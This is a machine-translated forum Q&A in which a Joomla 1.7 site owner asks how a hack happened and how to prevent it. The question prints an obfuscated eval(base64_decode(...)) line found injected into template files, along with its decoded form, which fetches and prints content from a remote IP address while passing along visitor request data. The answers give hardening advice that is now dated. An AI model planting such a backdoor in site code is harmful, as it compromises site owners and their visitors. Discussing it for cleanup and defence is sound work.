网站后门&的eval()

时间:2013-02-20 10:40:52

标签: php joomla joomla1.7

我正在运行一个今天被黑客入侵的Joomla 1.7网站。下面的脚本做了黑客。

eval((base64_decode("DQoNCnByaW50IEBmaWxlX2dldF9jb250ZW50cygnaHR0cDovLzkzLjExNS44Ni4xNjgvaGxpbmtzL2xpbmtzLnBocD91YT0nIC4gQHVybGVuY29kZSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pIC4gJyZyZXE9JyAuIEB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gJy8nIC4gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pKTsNCg0K")));

以上行被注入模板文件夹的index.php文件中。文件夹中的每个模板都具有上述代码。在每个文件中,它重复了几次。

当我解码代码时,它会输出

print @file_get_contents('http://93.115.86.168/hlinks/links.php?ua=' . @urlencode($_SERVER['HTTP_USER_AGENT']) . '&req=' . @urlencode($_SERVER['HTTP_HOST'] . '/' . $_SERVER['REQUEST_URI'])); 

我删除了脚本,网站正常工作。脚本没有做任何坏事,除了网站根本没有加载。

我的问题是,即使我将文件权限设置为644并将文件夹权限设置为755,这怎么可能发生?

我怎样才能找出导致问题的原因?我应采取哪些措施来防止将来发生这种情况?

更新

Forum Post Assistant / FPA非常有用

3 个答案:

答案 0 :(得分:2)

它不是从文件系统中读取文件,而是直接从外部URL读取。您可以通过php.ini设置禁用从php中的任何外部URL读取:

allow_url_fopen = 0

答案 1 :(得分:1)

因为你在运行Joomla 1.7网站怎么样? Joomla 1.7不再受支持,并且自发布以来已在Joomla中添加了几个安全修复程序。你应该立即升级到2.5.9。应该没有向后兼容性问题,因为2.5.9只是Joomla 1.7的长期支持版本。

按照Joomla安全检查表here中的建议检查您的PHP设置。确保PHP和MYSQL版本是合理的最新版本(至少PHP 5.3.x - 最好是5.4.x,MYSQL至少是5.0.4)。

最后确保所有扩展程序都是最新的。开发人员不断更新模块,不仅要添加新功能,还要增加额外/改进的安全性或防止发现的漏洞!

另外请不要像启明那样启用allow_url_fopen,这将导致Joomla的One-Click-Update停止正常工作。

答案 2 :(得分:1)

不可能从你告诉我们的内容中找出黑客的原因,但最可能的原因(几乎可以肯定)是你正在运行某些软件的旧版本,这些软件已经知道了黑客的安全漏洞能够攻击。

  • 检查您的PHP版本:如果它低于v5.3.21或v5.4.11(即当前版本),则可能存在安全漏洞。如果它是v5.2或更低,那么它肯定是脆弱的(现在已经有两年没有支持5.2)。如果您的托管服务提供商不是他们的PHP版本的最新版本,那么您需要麻烦他们修复它。如果他们不能修复它,你需要找到一个更好的主机。

  • 检查您的joomla版本:它是最新的吗?你提到它是v1.7:这不是最新的1.7一年半前发布。目前的版本是2.5和3.0。这意味着你几乎肯定会有安全漏洞,这意味着你可能被黑客入侵。从1.7升级到2.5可能会很痛苦,但如果你想保证安全,就必须这样做。

让您的软件保持最新是您可以在网站上执行的最重要的事情之一,以确保其安全。这不是可选的:如果你想避免遭到黑客攻击,你需要保持最新状态,并且需要不断关注新版本 - 总是会发现新的安全漏洞。通常,当出现新的错误时,大多数高质量的软件会很快修复,但是您有责任在服务器上安装固定版本,否则错误仍然存​​在并且可能会被黑客攻击。

还有其他方法可以被黑客攻击;不要打折他们;他们中的大多数都在你的控制之外。保持软件版本更新是最好的防御。